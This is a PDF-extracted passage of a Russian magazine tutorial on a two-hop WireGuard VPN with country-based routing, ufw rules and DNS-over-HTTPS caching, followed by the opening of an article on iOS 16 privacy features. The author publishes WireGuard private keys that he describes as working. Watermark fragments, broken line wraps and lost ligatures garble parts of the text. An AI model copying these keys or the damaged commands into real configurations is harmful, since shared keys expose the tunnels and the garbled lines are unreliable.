/etc/wireguard/wg-external.conf

[Peer]

PublicKey=MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=

AllowedIPs=10.20.30.0/24

Endpoint=195.2.79.13:17968

PersistentKeepalive=25

Там же, в Endpoint указываем адрес сервера internal и порт, который мы задали в ListenPort.

С AllowedIPs при использовании wg-quick возникает небольшая путаница. Это именно список IP-адресов, с которых мы разрешаем принимать пакеты из туннеля. Если прилетит что-то с другим src, оно будет отброшено.

Wg-quick разумно считает, что, если есть какие-то устройства, которые могут послать пакет, пакеты к этим устройствам надо маршрутизировать туда же, и создает маршруты на эти адреса, указывающие на туннель пира.

В этих примерах AllowedIPs можно читать как «адреса, трафик на которые будет маршрутизироваться в туннель этого пира и с которых пир сможет отправить что-то в туннель». То есть пункт AllowedIPs = 10.20.30.3/32 означает буквально «только запросы на 10.20.30.3 (адрес пира WG) отправлять в туннель» — дать доступ только до машины этого клиента.

Пункт AllowedIPs = 192.168.88.0/24 означает, что при запросе адреса из этой подсети запрос уйдет в туннель клиента, и если у него включен форвардинг и ему доступна эта подсеть, то к ней можно будет получить доступ.

AllowedIPs = 0.0.0.0/0 означает, что в туннель надо маршрутизировать вообще весь трафик. Правда, это не относится к трафику, например, локальной сети: приоритет у маршрута, который создается из маски подсети и адреса шлюза, выше, чем у 0.0.0.0/0. Также маршрут 0.0.0.0/0 перебьют маршруты

других пиров, если они будут в конфиге.

 

В данном

случае AllowedIPs=10.20.30.0/24 означает, что

трафик

с external в

подсеть 10.20.30.0–10.20.30.255 будет уходить в

туннель

к internal. В принципе, особой нужды в этом нет, external у нас исключительно выходная нода. Но вдруг мы как-нибудь захотим зайти оттуда по SSH на какую-нибудь другую машину.

Повторяем генерацию публичного ключа с external:

root@:~# echo "6CCRP42JiTObyf64Vo0BcqsX6vptsqOU+MKUslUun28=" | wg

pubkey

FulnUTovyyfgn5kmgPkcj2OjKRFGeLkaTsHtAOy6HW8=

Мы получаем публичный ключ сервера external и помещаем его в секцию

Peer сервера internal.

/etc/wireguard/wg-internal.conf

[Peer] #external node

PublicKey = FulnUTovyyfgn5kmgPkcj2OjKRFGeLkaTsHtAOy6HW8=

AllowedIPs = 10.20.30.2/32, 0.0.0.0/0

AllowedIPs тут 10.20.30.2/32, 0.0.0.0/0. Этим мы указываем, что за туннелем находится конкретный IP 10.20.30.2, и, помимо этого, пробрасываем весь трафик, не связанный другими маршрутами, в этот туннель: external у нас основная выходная нода VPN.

Поэтому по умолчанию весь трафик будет направляться через нее, так как зарубежных маршрутов больше, чем российских, и логичнее фильтровать именно российские, а зарубежный трафик пустить по умолчанию через ноду в другой стране.

Итак, два конфига.

/etc/wireguard/wg-internal.conf

[Interface]

Address = 10.20.30.1/32

ListenPort = 17968

PrivateKey = kOd3FVBggwpjD3AlZKXUxNTzJT0+f3MJdUdR8n6ZBn8= PostUp = iptables -t nat -A POSTROUTING -o `ip route | awk '/ default/ {print $5; exit}'` -j MASQUERADE

PostUp = ip rule add from `ip addr show $(ip route | awk '/ default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n

1| awk '/inet/ {print $2}' | awk -F/ '{print $1}'` table main PostDown = iptables -t nat -D POSTROUTING -o `ip route | awk '/ default/ {print $5; exit}'` -j MASQUERADE

PostDown = ip rule del from `ip addr show $(ip route | awk '/ default/ { print $5 }') | grep "inet" | grep -v "inet6" | head -n

1| awk '/inet/ {print $2}' | awk -F/ '{print $1}'` table main

#external node

[Peer]

PublicKey = FulnUTovyyfgn5kmgPkcj2OjKRFGeLkaTsHtAOy6HW8=

AllowedIPs = 10.20.30.2/32, 0.0.0.0/0

/etc/wireguard/wg-external.conf

[Interface]

Address = 10.20.30.2/32

PrivateKey = 6CCRP42JiTObyf64Vo0BcqsX6vptsqOU+MKUslUun28= PostUp = iptables -t nat -A POSTROUTING -o `ip route | awk '/ default/ {print $5; exit}'` -j MASQUERADE

PostDown = iptables -t nat -D POSTROUTING -o `ip route | awk '/ default/ {print $5; exit}'` -j MASQUERADE

#internal node [Peer]

PublicKey = MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=

AllowedIPs = 10.20.30.0/24

Endpoint = 195.2.79.13:17968

PersistentKeepalive = 25

Теперь можно поднять туннели на обоих серверах:

root@trikster-external:~# wg-quick down wg-external ; wg-quick up wg-external

root@trikster-internal:~# wg-quick down wg-internal ; wg-quick up wg-internal

Проверяем, что туннели активны, командой wg:

root@trikster-internal:~# wg

...

peer: FulnUTovyyfgn5kmgPkcj2OjKRFGeLkaTsHtAOy6HW8= endpoint: 51.159.187.77:36276

allowed ips: 10.20.30.2/32, 0.0.0.0/0 latest handshake: 13 seconds ago transfer: 180 B received, 92 B sent

root@trikster-external:~# wg

...

peer: MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw= endpoint: 195.2.79.13:17968

allowed ips: 10.20.30.0/24 latest handshake: 10 seconds ago

transfer: 92 B received, 180 B sent persistent keepalive: every 25 seconds

Если видим «latest handshake: ... seconds ago» и байты и в received и в sent,

значит, все хорошо. Если байты только в send, без хендшейка и полученных данных, значит, где-то в конфиге ошибка или серверы недоступны друг для друга.

Если что-то пошло не так и отвалился SSH, то достаточно перезагрузить сервер — активные туннели сбросятся.

Если же все хорошо и доступ к серверам сохранился, ставим туннели в автозапуск:

root@trikster-internal:~# systemctl enable wg-quick@wg-internal. service

root@trikster-external:~# systemctl enable wg-quick@wg-external. service

Попробуем посмотреть маршрут (рекомендую замечательную утилиту mytraceroute, mtr) без туннеля:

root@trikster-internal:~# wg-quick down wg-internal && sleep

10 &&

mtr -r google.com

 

 

 

 

 

HOST: trikster-internal.local

Loss%

Snt

Last

Avg

Best

Wrst StDev

 

 

 

 

 

1.|-- host-89-22-232-243.hosted

0.0%

10

0.3

5.4

0.3

49.8

15.6

 

 

 

 

 

2.|-- 172.31.0.1

0.0%

10

0.3

19.8

0.3

122.242.6

3.|-- 109.239.138.90

0.0%

10

1.5

1.9

1.4

3.00.6

4.|-- 91.108.51.4

0.0%

10

11.4 11.4 11.3

11.70.1

5.|-- 178.18.227.12.ix.dataix.e 0.0%

10

11.0 17.9 11.0

77.020.8

Ис туннелем:

root@trikster-internal:~# wg-quick up wg-internal && sleep 10 &&

mtr -r google.com

 

 

 

 

 

HOST: trikster-internal.local

Loss%

Snt

Last

Avg

Best

Wrst StDev

 

 

 

 

 

1.|-- 10.20.30.2

0.0%

10

51.3

51.3

51.2

51.4

0.1

 

 

 

 

 

2.|-- 10.200.100.0

0.0%

10

51.4

51.4

51.2

51.60.1

3.|-- 10.197.37.65

0.0%

10

52.5 52.2 52.0

52.50.2

4.|-- 10.197.0.41

0.0%

10

52.2 52.2 52.1

52.50.1

5.|-- 10.197.0.44

0.0%

10

52.0 52.2 51.9

52.40.1

Все хорошо, трафик идет через внешний сервер — сначала на 10.20.30.2, который у нас назначен выходной нодой, а потом через его маршрутизаторы.

У нас получилась примерно следующая схема.

ШАГ 3. ДОБАВЛЯЕМ КОНФИГ КЛИЕНТА

Создаем конфиг клиента, конечного устройства — пользователя VPN. За основу берем wg-external.conf, потому что это точно такой же клиент, который подключается к internal: разница только в том, что external будет получать пакеты, а наш клиент — отправлять.

Генерируем ему сразу пару публичный и приватный ключ:

root@:~# prk=`wg genkey` && pbk=`echo $prk | wg pubkey` && printf

"Private: $prk\nPublic: $pbk\n"

Private: iPK7hYSU8TLVRD+w13nd3aGSYNLfnTx6zwdRzKcGb1o=

Public: 26Vhud00ag/bdB9molvSxfBzZTlzdO+aZgrX3ZDncSg=

Конфиг почти такой же (этот файл уже должен быть на твоем устройстве, не на сервере):

/etc/wireguard/wg-notebook-client.conf

[Interface]

Address = 10.20.30.3/32

PrivateKey = iPK7hYSU8TLVRD+w13nd3aGSYNLfnTx6zwdRzKcGb1o=

DNS = 1.1.1.1, 8.8.8.8

#internal node [Peer]

PublicKey = MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=

AllowedIPs = 0.0.0.0/0

Endpoint = 195.2.79.13:17968

PersistentKeepalive = 25

Тут у нас добавилась опция PersistentKeepalive. Дело в том, что роутеры в цепочке между двумя пирами ничего не знают о сессии WG, а знают только о потоке UDP-пакетов. Для маршрутизации UDP-пакетов за NAT они создают у себя табличку, в которую записывают, кто, куда и на какой порт отправил пакет. И если с destination-адреса/порта приходит UPD-пакет, то они определяют, куда его отправить, по этой таблице, делая вывод, что если сервер B недавно отправил пакет серверу А, то ответ от сервера А на этот же адрес

ипорт, скорее всего, надо переслать серверу B.

ВUDP, в отличие от TCP, нет никаких договоренностей о поддержании сессии, так как нет и самого понятия сессии. WG же построен таким образом, что при отсутствии трафика, попадающего в туннель, не будет и трафика между пирами, только хендшейки раз в две минуты. Опция PersistentKeepalive

заставляет его посылать пустые пакеты каждые 25 с, что предотвращает потерю маршрута на промежуточных роутерах. Без этого мы бы могли раз за разом отправлять пакеты, до второго пира они не доходили бы, а он бы об этом не знал.

Дальше мы добавляем еще одну секцию Peer в конфиг на internal — для клиента:

#notebook-client node

[Peer]

PublicKey = 26Vhud00ag/bdB9molvSxfBzZTlzdO+aZgrX3ZDncSg=

AllowedIPs = 10.20.30.3/32

Перезапускаем туннель на internal (wg-quick down/up), подключаемся… Есть хендшейк! Данные пошли.

Теперь смотрим свой IP (например, на reg.ru): видим IP external ноды и другую страну.

Таким же образом создаем конфиги для других клиентов. Если это мобильные устройства, то удобнее показать им QR-код. Он делается следующим образом. Создаем в текущей папке конфиг как обычно (конечно, с новыми ключами и другим IP), называем, например, wg-moblie-client.conf. А дальше прямо командой в консоли создаем QR-код, который сканируем с телефона:

root@:~# qrencode -t ansiutf8 < wg-moblie-client.conf

Это удобнее, чем копирование файлов, но тебе никто не мешает скинуть wg- moblie-client.conf на телефон или вообще ввести значения семи полей вручную.

Теперь наша схема выглядит следующим образом.

В целом все готово: мы только что сделали очень странный двуххоповый VPN.

Надо это дело отметить! Открываем Сбермаркет, чтобы заказать пивка...

Ах да, мы же с этой проблемой и собирались бороться. Неловко! Давай доделаем.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ПРИВАТНОСТЬ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМСЯ

СWIREGUARD

ИДЕЛАЕМ СВОЙ УМНЫЙ VPN

ШАГ 4. ДОБАВЛЯЕМ РЕГИОНАЛЬНО ЗАВИСИМУЮ МАРШРУТИЗАЦИЮ

Как ты помнишь, мы отправляем все данные с клиента на internal, он все данные шлет на external, а тот уже своему провайдеру. Также мы помним, что у нас на internal «слабый» маршрут 0.0.0.0/0, который перебивается любыми другими маршрутами, а сам internal находится в российском сегменте. Значит, все, что нам надо, — это как-то перехватить запросы на российские IP на уровне internal и перенаправить их не в туннель WG до external, а напрямую в сетевой порт самого сервера, в тот, через который он получает доступ в православный, российский интернет со скрепами и девицами в кокошниках.

Давай проверим предположение. На клиенте получим IP того же Сбермаркета (nslookup sbermarket.ru) и посмотрим, как туда идет трафик

(traceroute 212.193.158.175):

HOST: vvzvladMBP14.local

Loss%

Snt

Last

Avg

Best

Wrst

StDev

 

 

 

 

 

1.|--

10.20.30.1

0.0%

10

3.9

4.3

3.2

6.5

 

1.1

 

 

 

 

 

2.|--

10.20.30.2

0.0%

10

55.7

56.0

54.6

59.21.2

3.|-- 10.200.100.0

0.0%

10

55.5 56.1 54.9

58.61.1

4.|-- 10.197.37.65

0.0%

10

56.0 56.9 55.4

60.11.7

5.|-- 10.197.0.41

0.0%

10

56.1 57.0 55.7

60.91.6

Ага, как и ожидалось, через external.

Теперь создадим маршрут до этого адреса через дефолтный шлюз и устройство. Их можно узнать в ip r:

root@trikster-internal:~# ip r

default via 195.2.79.1 dev ens3 onlink

10.20.30.2 dev wg-internal scope link

...

195.2.79.1 и ens3 — это и есть нужные нам данные. Используем уже знакомые подстановочные команды и создадим новый маршрут:

target_ip="212.193.158.175/32"

gateway=`ip route | awk '/default/ {print $3; exit}'` gateway_device=`ip route | awk '/default/ {print $5; exit}'` ip route add $target_ip via $gateway dev $gateway_device

Проверяем:

root@trikster-internal:~# ip r

default via 195.2.79.1 dev ens3 onlink

10.20.30.2dev wg-internal scope link

10.20.30.3dev wg-internal scope link

195.2.79.0/24 dev ens3 proto kernel scope link src 195.2.79.13 ==> 212.193.158.175 via 195.2.79.1 dev ens3 <==

Да, на последнем месте у нас нужный маршрут.

Теперь повторяем команду traceroute -r 212.193.158.175 на клиенте и видим, что трейс другой:

HOST: vvzvladMBP14.local

Loss%

Snt

Last

Avg

Best

Wrst

StDev

 

 

 

 

 

1.|--

10.20.30.1

0.0%

10

4.3

7.9

3.7

29.1

 

7.9

 

 

 

 

 

2.|--

host-89-22-232-243.hosted

0.0%

10

4.6

4.9

3.8

9.21.6

3.|-- 172.31.0.1

0.0%

10

25.9

8.4

3.3

25.96.9

4.|-- sw1-m9p2-msk.ip.ngenix.ne 0.0%

10

6.2

5.7

4.0

7.31.0

5.|-- cdn.ngenix.net

0.0%

10

3.8

5.0

3.8

8.41.3

Ура, Сбермаркет открывается! Правда, такое сработает не со всеми сервисами: например, JavaScript на сайте может дернуть другой сервер, а не тот, в адрес которого резолвится имя домена и до которого нет маршрута.

Можно сходить на asnlookup.com, вбить туда адрес и получить принадлежность адреса к AS и заодно список подсетей этой autonomous system (у

Сбермаркета это AS34879, OOO Sovremennye setevye tekhnologii). С большой вероятностью для более-менее крупных компаний это и будет их сетевая инфраструктура (ну или, по крайней мере, инфраструктура, относящаяся к конкретному сайту), прописав для которой маршруты ты обеспечишь доступ на нужный сайт или сервис. Для мелких сайтов ты, скорее всего, получишь AS хостера или дата-центра, но, во-первых, это тоже сработает, а во-вторых, мелкие сайты обычно и не закрывают иностранные диапазоны, потому что не испытывают проблем с DDoS из-за границы.

Но можно сделать проще и автоматически: засунуть в маршруты вообще все адреса российского сегмента (спасибо статье на Хабре) и не париться о ручном добавлении.

RIPE отдает их все в виде JSON вот по этому адресу: https://stat.ripe.net/data/country-resource-list/data.json?resource=ru

Утилита jq преобразует из JSON в список подсетей:

curl https://stat.ripe.net/data/country-resource-list/data.json?

resource=ru | jq -r ".data.resources.ipv4[]"

Правда, почему-то некоторые адреса там в формате 195.85.234.0-195.85. 236.255, а не в виде подсети. Их там с десяток, можно было бы так и оставить, но, если уж начали делать, давай сделаем до конца и красиво. Нам понадобится утилита ipcalc.

root@:~# ipcalc 195.85.234.0-195.85.236.255 |grep -v "deaggregate"

195.85.234.0/23

195.85.236.0/24

Выделить эти адреса из базового списка легко: grep '-' или grep -v '/'. Скрипт для загрузки роутов выглядит как-то так (я не удержался и добавил

туда еще и прогресс-бар):

#!/bin/bash

function ProgressBar {

let _progress=(${1}*100/${2}*100)/100 let _done=(${_progress}*4)/10

let _left=40-$_done _fill=$(printf "%${_done}s") _empty=$(printf "%${_left}s")

printf "\rAdd routes to route table (${1}/${2}): [${_fill// /#} ${_empty// /-}] ${_progress}%%"

}

# Variables file_raw="russian_subnets_list_raw.txt" file_user="subnets_user_list.txt"

file_for_calc="russian_subnets_list_raw_for_calc.txt" file_processed="russian_subnets_list_processed.txt" gateway_for_internal_ip=`ip route | awk '/default/ {print $3; exit}'`

interface=`ip link show | awk -F ': ' '/state UP/ {print $2}'`

# Get addresses RU segment echo "Download RU subnets..."

curl --progress-bar "https://stat.ripe.net/data/ country-resource-list/data.json?resource=ru" | jq -r ".data. resources.ipv4[]" > $file_raw

echo "Deaggregate subnets..."

cat $file_raw |grep "-" > $file_for_calc

cat $file_raw |grep -v "-" > $file_processed

for line in $(cat $file_for_calc); do ipcalc $line |grep -v "deaggregate" >> $file_processed; done

if [ -e $file_user ]; then echo "Add user subnets..."; cat $file_user |grep -v "#" >> $file_processed; fi

# Flush route table

echo "Flush route table (down interface $interface)..." ifdown $interface > /dev/null 2>&1

echo "Up interface $interface..." ifup $interface > /dev/null 2>&1

# Add route

routes_count_in_file=`wc -l $file_processed` routes_count_current=0

for line in $(cat $file_processed); do ip route add $line via $gateway_for_internal_ip dev $interface; let "routes_count_current+=1" ; ProgressBar ${routes_count_current} ${ routes_count_in_file}; done

echo ""

echo "Remove temp files..."

rm $file_raw $file_processed $file_json $file_for_calc

routes_count=`ip r | wc -l`

echo "Routes in routing table: $routes_count"

Добавим строчки в крон (EDITOR=nano crontab -e), чтобы он запускался после перезагрузки и каждую неделю — обновить список адресов, если они поменялись:

@reboot sleep 30 && bash /root/update_ru_routes.sh > /root/update_

routes_log.txt 2>&1

0 3 * * mon bash /root/update_ru_routes.sh > /root/update_routes_

log.txt 2>&1

Если тебе нужно принудительно маршрутизировать какую-то сеть через internal, то можно рядом со скриптом создать файлик subnets_user_list. txt, в который поместить список подсетей, тогда они каждый раз будут добавляться к общему списку при обновлении (в скрипте выше эта возможность уже реализована).

Мой, например, выглядит так:

#avito

146.158.48.0/21

#

#telegram

91.108.4.0/22

91.108.8.0/22

91.108.58.0/23

95.161.64.0/20

149.154.160.0/21

Первая подсеть — для мобильного приложения «Авито»: ее почему-то не было в списке RIPE. Дальше подсети для «Телеграма», чтобы хоть немного ускорить загрузку фото и видео.

Проверяем.

Как видишь, разные сервисы показывают нам разные адреса, потому что один сервис хостится где-то внутри России, а другой — снаружи. Работает!

Кстати, если у тебя internal находится в домашней сети, бонусом ты получишь доступ к домашней сети из любого места, где находится устройство со включенным VPN: маршрут 0.0.0.0/0 на устройстве отправляет в VPN весь трафик, а internal, замечая трафик в ту подсеть, в которой он находится, отправляет ее в локальный порт, а не в туннель до external. Очень удобно: у меня в домашней сети работает сервер с докер-контейнерами web2rss, ownCloud, navidrome, freshrss, rss-bridge, homeassistant, и мне для получения доступа к ним совершенно не надо заморачиваться с пробросом портов, авторизацией каждого сервера и HTTPS, не говоря уж о том, что некоторые сервисы, типа IoT-устройств, не имеют ни авторизации, ни шифрования в принципе.

Окончательная схема

ШАГ 5. НАСТРАИВАЕМ ФАЙРВОЛ

Полезной привычкой и хорошим тоном будет закрыть все ненужное на серверах.

Для начала на обоих серверах редактируем файл /etc/default/ufw, изме-

няя значение DEFAULT_FORWARD_POLICY на ACCEPT.

Теперь выполняем следующие команды на internal:

ufw reset

ufw default deny incoming ufw default allow outgoing ufw allow ssh

ufw allow 17968/udp

ufw allow in on wg-internal systemctl enable ufw --now ufw enable

Что происходит, думаю, понятно — запретить все, разрешить исходящие, входящие SSH и подключения к WG, а что приходит из туннеля — разрешить.

На external то же самое, но открывать порт для WG не надо — он подключается сам.

ufw reset

ufw default deny incoming ufw default allow outgoing ufw allow ssh

ufw allow in on wg-external systemctl enable ufw --now ufw enable

Еще хорошо бы поставить и настроить fail2ban или хотя бы перенести SSH на другой порт. В любом случае отключение входа по паролю через SSH вообще и переход только на авторизацию по ключу — это базовая операция, не зависимо ни от чего.

ШАГ 6, БОНУСНЫЙ И НЕОБЯЗАТЕЛЬНЫЙ. КЕШИРУЮЩИЙ ЗАЩИЩЕННЫЙ DNS OVER HTTPS

Теперь нам нужна еще одна вещь — DNS.

Можно, конечно, жить с DNS 1.1.1.1, но надо учитывать, что трафик на него пойдет через external, а это автоматически означает задержку поряд-

ка

100 мс при каждом запросе. Можно,

конечно,

добавить 1.1.1.1/32

в

subnets_user_list.txt, и тогда трафик

пойдет

через локальную ноду

и локальный сервер 1.1.1.1. Это уменьшит задержку до 10–20 мс, но твои DNS-запросы будет доступны провайдеру, что в случае локальной ноды для кого-то может быть неприемлемо.

Несколькими командами можно легко сделать кеширующий DNS, который еще и будет работать с DNS over HTTPS, а значит, провайдер узнает только, что использовался DoH, но не сами запросы. Это, конечно, не обязательно: у меня internal находится в домашней сети, и я просто использую DNS «Микротика», который находится в той же сети и поддерживает DoH. Но если у тебя internal-сервер — это VPS, то можно сделать там и DNS-сервер. Исполь-

зовать будем cloud ared и dnsmasq.

Добавляй репозитарий:

mkdir -p --mode=0755 /usr/share/keyrings

curl -fsSL https://pkg.cloudflare.com/cloudflare-main.gpg | tee / usr/share/keyrings/cloudflare-main.gpg > /dev/null

echo 'deb [signed-by=/usr/share/keyrings/cloudflare-main.gpg] https://pkg.cloudflare.com/cloudflared buster main' | tee /etc/ apt/sources.list.d/cloudflared.list

sudo apt-get update && sudo apt-get install cloudflared dnsmasq -y

Пишем конфиг:

/etc/cloudflared/config.yml logfile: /var/log/cloudflared.log proxy-dns: true proxy-dns-upstream:

- https://1.0.0.1/dns-query - https://1.1.1.1/dns-query

- https://2606:4700:4700::1111/dns-query - https://2606:4700:4700::1001/dns-query

proxy-dns-port: 5353 proxy-dns-address: 127.0.0.1

Как вариант, можешь заменить в proxy-dns-upstream записи таким адресом:

https://security.cloudflare-dns.com/dns-query

Или таким:

https://9.9.9.9/dns-query

Первый — это блокировщик малвари, второй — это Quad9. Создай сервис:

/etc/systemd/system/cloudflared.service

[Unit]

Description=DNS over HTTPS (DoH) proxy client

Wants=network-online.target nss-lookup.target

Before=nss-lookup.target

[Service] AmbientCapabilities=CAP_NET_BIND_SERVICE CapabilityBoundingSet=CAP_NET_BIND_SERVICE DynamicUser=yes

ExecStart=/usr/local/bin/cloudflared --config /etc/cloudflared/ config.yml

[Install] WantedBy=multi-user.target

Теперь осталось запустить его и засунуть в автозагрузку:

systemctl daemon-reload systemctl start cloudflared systemctl status cloudflared systemctl enable cloudflared

Проверяем:

dig @127.0.0.1 -p5353 google.com

У cloud ared есть один минус — у него странное кеширование, которое держится совсем недолго, поэтому для кеширования дополнительно настроим dnsmasq, указав ему в качестве сервера cloud ared.

Поэтому надо добавить в /etc/dnsmasq.conf что-то вроде таких строк:

server=127.0.0.1#5353 no-poll

no-resolv

listen-address=10.20.30.1, 127.0.0.1 cache-size=1500

stop-dns-rebind clear-on-reload no-negcache

Запускаем:

systemctl restart dnsmasq.service

Проверяем:

dig @127.0.0.1 google.com

И уже можно сделать это с клиента:

dig @10.20.30.1 google.com

Если ответ на запрос есть, значит, DNS работает и можно запустить команду несколько раз — при повторных запросах Query time должен стать 0 мс или около того, если ты запрашиваешь localhost, или будет близко к пингу до internal, если делаешь это с клиента.

Теперь можно добавить в конфиги клиентов в секцию Interface:

DNS = 10.20.30.1, 1.1.1.1

Особые параноики могут запустить cloud ared на external и скрыть от локального провайдера даже сам факт использования DoH. Для этого в proxy-dns- address в конфиге cloud ared и в dnsmasq.conf надо просто указать 10.20.30.2 (IP-адрес external).

Кстати, в качестве альтернативы можно поставить на тот же сервер утилиту Pi-hole, которая делает примерно то же самое, но еще блокирует рекламу и показывает красивую статистику.

ВЫВОДЫ

Пары ключей в статье — действующие, так что можешь, ничего не исправляя в конфигах (только IP internal-сервера), залить их на свои серверы и клиент и поразвлекаться. Но для боевого применения ключи надо обязательно перегенерить.

Благо это просто, даже если тебе лень разбираться с ручной генерацией ключей, — я создал небольшой bash-скрипт для этого. Достаточно сделать так на internal-сервере:

apt install -y git

git clone https://github.com/vvzvlad/trickster-vpn.git

cd trickster-vpn/config_generator

bash generate_cfgs.sh

После чего в папке trickster-vpn/config_generator/configs появятся кон-

фиги с только что сгенерированными ключами, и останется только скопировать wg-internal.conf в /etc/wireguard/wg-internal.conf, wg-external.conf

унести на другой сервер, а wg-mobile-client.conf использовать для ноутбука или телефона. Ну и не забыть о пробросе порта, если internal у тебя за NAT.

Если кто-то захочет это все красиво обернуть в два докера и прикрутить один из веб-интерфейсов для WireGuard (потому что конфиги клиентов все же удобнее создавать в нем) — добро пожаловать на гитхаб: Trickster VPN.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ПРИВАТНОСТЬ

w Click

to

 

 

 

o m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИЗУЧАЕМ НОВЫЕ СПОСОБЫ ЗАЩИТЫ ДАННЫХ В ПОСЛЕДНЕЙ iOS

Безопасность личных данных — направление, которое активно развивают разработчики мобильных ОС. В Apple защиту, по сути, превратили в товар; этому вопросу посвящен целый раздел на сайте компании. Сегодня мы поговорим о том, что нового в сфере конфиденциальности и безопасности появилось в свежей версии iOS 16, анонсированной 7 сентября.

SAFETY CHECK

Олег Афонин

Эксперт по мобильной криминалистике компании «Элкомсофт » aoleg@voicecallcentral.com

Функция Safety Check («проверка безопасности») позволяет проверить или быстро сбросить настройки конфиденциальности, отвечающие за доступ к данным, который ты когда-то предоставлял людям, приложениям или устройствам.

Safety Check

Что это означает на практике? Допустим, когда-то давно ты открыл кому-то доступ к своему местоположению, а этот кто-то твоим доверием злоупотребил. Напомню, в таком случае у доверенного лица будет возможность

влюбой момент узнать, где ты находишься, с довольно высокой точностью. При некоторой сноровке можно организовать полноценную слежку. Safety Check позволит просмотреть, у кого есть такой доступ, и отключить его у не оправдавших доверие лиц. Подробнее о том, как это сделать, можно прочитать

взаметке, посвященной функции Safety Check.

Сама компания Apple позиционирует Safety Check в качестве помощи людям в ситуациях домашнего насилия, но ее возможности этим не ограничиваются. C использованием этой функции ты можешь сбросить настройки доступа и системные разрешения на конфиденциальность для приложений (как всех скопом, так и по отдельности). То же самое ты мог сделать и раньше, но тебе пришлось бы хорошенько полазить по множеству пунктов меню, отзывая настройки для каждого приложения по отдельности, либо сбросить сразу все настройки устройства, что очень неудобно.

Наконец, при помощи Safety Check можно ограничить прием сообщений (SMS и iMessage) и звонков FaceTime одним устройством. Она отключает облачную функциональность, благодаря которой ты можешь видеть текстовые сообщения и входящие звонки FaceTime не только на своем iPhone, но и на других устройствах Apple, привязанных к твоей учетной записи, например iPad или MacBook. Опять же ничего сверхъестественного — то же самое можно сделать и вручную, но именно в Safety Check все перечисленное собрано в одном месте, а сбросить выданные разрешения можно буквально в пару нажатий.

НОВОЕ РАЗРЕШЕНИЕ: ДОСТУП К БУФЕРУ ОБМЕНА

Помнишь, сколько шума наделали появившиеся в iOS 14 баннеры, уведомляющие о том, что приложение прочитало данные из буфера обмена?

Уведомление о чтении буфера обмена

Многих эти баннеры раздражали и продолжают раздражать до сих пор, но отключить эту возможность на уровне системы невозможно. В iOS 16 разработчики наконец пришли к очевидному решению: теперь для доступа к буферу обмена приложения должны запрашивать разрешение.

Для доступа к буферу обмена приложениям теперь требуется разрешение

Подробнее об этом можно прочитать в статье UIPasteBoard’s privacy change in iOS 16, здесь же отмечу, что, однажды разрешив приложению доступ к буферу обмена, окошка с назойливым запросом ты больше не увидишь.

Кстати, интересно, сбрасывается ли новое разрешение новой функцией Safety Check? Это мы сможем проверить только после официального выхода iOS 16. В бета-версиях iOS 16 единожды выданное разрешение не отображается в общем списке разрешений получившего его приложения, так что отозвать или сбросить его никак не получится.

И еще одно наблюдение: запрос не появляется, если ты сам инициируешь вставку из буфера обмена, коснувшись команды «Вставить» во всплывающем меню. Соответственно, новая функция ограничивает лишь фоновый доступ к буферу, то есть такой доступ, который приложения получают без участия

иявного согласия пользователя. На данный момент функция выглядит сырой

инесколько недоделанной, но посмотрим, что будет в окончательной версии iOS 16.

ЗАЩИТА СКРЫТЫХ И УДАЛЕННЫХ ФОТОГРАФИЙ

Возможность скрыть фотографии появилась в iOS довольно давно. Почитать об этой возможности можно, например, на официальном сайте Apple. До выхода iOS 16 скрытые фотографии всего лишь попадали в специальный альбом с «говорящим» названием. Кстати, аналогичным образом система поступала и с удаленными фото и видео.

Скрытые и удаленные фотографии при этом исчезали из основной ленты

